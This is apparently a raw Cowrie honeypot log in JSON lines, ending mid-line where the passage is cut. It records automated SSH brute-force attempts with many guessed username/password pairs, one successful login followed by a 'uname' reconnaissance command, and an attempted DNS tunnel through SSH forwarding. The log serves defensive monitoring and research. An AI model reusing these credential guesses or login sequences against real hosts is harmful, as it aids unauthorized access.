{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:59.584679Z","session":"03f6ee25dbed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:59.753786Z","src_ip":"87.251.64.176","session":"03f6ee25dbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:59.907301Z","src_ip":"87.251.64.176","session":"03f6ee25dbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46390,"dst_ip":"159.203.135.109","dst_port":22,"session":"891ee7a9aaa1","protocol":"ssh","message":"New connection: 83.168.110.85:46390 (159.203.135.109:22) [session: 891ee7a9aaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:00.160624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:00.169985Z","src_ip":"83.168.110.85","session":"891ee7a9aaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:00.284666Z","src_ip":"83.168.110.85","session":"891ee7a9aaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:00.763625Z","src_ip":"83.168.110.85","session":"891ee7a9aaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:02.074315Z","src_ip":"83.168.110.85","session":"891ee7a9aaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58978,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b1b4958db03","protocol":"ssh","message":"New connection: 103.176.20.57:58978 (159.203.135.109:22) [session: 9b1b4958db03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:05.972840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:05.977971Z","src_ip":"103.176.20.57","session":"9b1b4958db03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:06.228250Z","src_ip":"103.176.20.57","session":"9b1b4958db03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samuel","message":"login attempt [root/samuel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:06.993648Z","src_ip":"103.176.20.57","session":"9b1b4958db03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:08.250571Z","src_ip":"103.176.20.57","session":"9b1b4958db03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ee527f4ed18","protocol":"ssh","message":"New connection: 83.168.110.85:55280 (159.203.135.109:22) [session: 4ee527f4ed18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:10.771797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:10.777950Z","src_ip":"83.168.110.85","session":"4ee527f4ed18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:10.899788Z","src_ip":"83.168.110.85","session":"4ee527f4ed18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:11.264084Z","src_ip":"83.168.110.85","session":"4ee527f4ed18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:12.551216Z","src_ip":"83.168.110.85","session":"4ee527f4ed18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59426,"dst_ip":"159.203.135.109","dst_port":22,"session":"7060667cc79e","protocol":"ssh","message":"New connection: 83.168.110.85:59426 (159.203.135.109:22) [session: 7060667cc79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:21.233551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:21.239174Z","src_ip":"83.168.110.85","session":"7060667cc79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:21.361487Z","src_ip":"83.168.110.85","session":"7060667cc79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:21.725123Z","src_ip":"83.168.110.85","session":"7060667cc79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:22.906076Z","src_ip":"83.168.110.85","session":"7060667cc79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86b7f6ba165","protocol":"ssh","message":"New connection: 83.168.110.85:35012 (159.203.135.109:22) [session: b86b7f6ba165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:31.663787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:31.669683Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:31.790475Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:32.155460Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:32.446964Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:32.450714Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:32.577994Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:32.582827Z","src_ip":"83.168.110.85","session":"b86b7f6ba165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46778,"dst_ip":"159.203.135.109","dst_port":22,"session":"e78093e82042","protocol":"ssh","message":"New connection: 185.236.22.41:46778 (159.203.135.109:22) [session: e78093e82042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:40.121147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:40.203561Z","src_ip":"185.236.22.41","session":"e78093e82042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:40.238507Z","src_ip":"185.236.22.41","session":"e78093e82042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent007","message":"login attempt [root/agent007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:40.687799Z","src_ip":"185.236.22.41","session":"e78093e82042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:41.803947Z","src_ip":"185.236.22.41","session":"e78093e82042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43222,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3395bf68b3","protocol":"ssh","message":"New connection: 83.168.110.85:43222 (159.203.135.109:22) [session: 1b3395bf68b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:41.836935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:41.844888Z","src_ip":"83.168.110.85","session":"1b3395bf68b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:41.967144Z","src_ip":"83.168.110.85","session":"1b3395bf68b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.20.86","src_port":53194,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b47672763ab","protocol":"telnet","message":"New connection: 104.248.20.86:53194 (10.17.0.5:23) [session: 3b47672763ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:42.166452Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:42.331115Z","src_ip":"83.168.110.85","session":"1b3395bf68b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:43.472526Z","src_ip":"83.168.110.85","session":"1b3395bf68b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50710,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81b6694d221","protocol":"ssh","message":"New connection: 83.168.110.85:50710 (159.203.135.109:22) [session: b81b6694d221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:52.508012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:52.513048Z","src_ip":"83.168.110.85","session":"b81b6694d221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rs